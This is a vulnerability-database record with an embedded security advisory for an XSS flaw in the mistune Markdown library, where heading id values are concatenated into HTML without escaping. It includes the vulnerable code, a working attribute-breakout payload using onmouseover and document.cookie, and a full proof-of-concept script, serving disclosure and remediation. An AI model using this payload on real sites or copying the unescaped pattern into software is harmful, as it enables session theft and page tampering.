{"id":"CVE-2026-44897","aliases":["GHSA-v87v-83h2-53w7","PYSEC-2026-2207"],"title":"Mistune Heading ID Attribute has Injection XSS","summary":"Mistune Heading ID Attribute has Injection XSS","severity":"medium","cvss":6.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","vendor":"mistune","product":"mistune","ecosystem":"pip","affected":["mistune < 3.2.1"],"patched":["mistune 3.2.1"],"published":"2026-05-09","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:47.725920177Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-v87v-83h2-53w7","references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44897"},{"url":"https://github.com/lepture/mistune"},{"url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}],"tags":["osv","pip"],"epss":0.00228,"epssPercentile":0.13846,"ingestedAt":"2026-07-13T18:58:03.410Z","slug":"CVE-2026-44897","body":"## Overview\n\n## Summary\n`HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -> str:\n    tag = \"h\" + str(level)\n    html = \"<\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += ' id=\"' + _id + '\"'    # ← _id is never escaped\n    return html + \">\" + text + \"</\" + tag + \">\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `&quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput — ID is auto-generated, no user text appears in it:\n```html\n<h2 id=\"toc_1\">Introduction</h2>\n```\n\n**Step 2 — Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 — Observe attribute breakout in the output**\n\n```python\nex_src = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n<h2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>\n```\n\nNote: the heading **body text** is correctly escaped (`&quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser (hover the heading to trigger onmouseover)</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body>\n<h1>H2 — Heading ID XSS (unescaped id= attribute)</h1>\n<p class=\"desc\">HTMLRenderer.heading() in renderers/html.py does html += ' id=\"' + _id + '\"' with no escaping.\nTriggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p>\n{case(\"baseline\", \"Clean heading → sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading → quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.\n\n## Affected packages\n\n- `mistune < 3.2.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mistune 3.2.1`","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}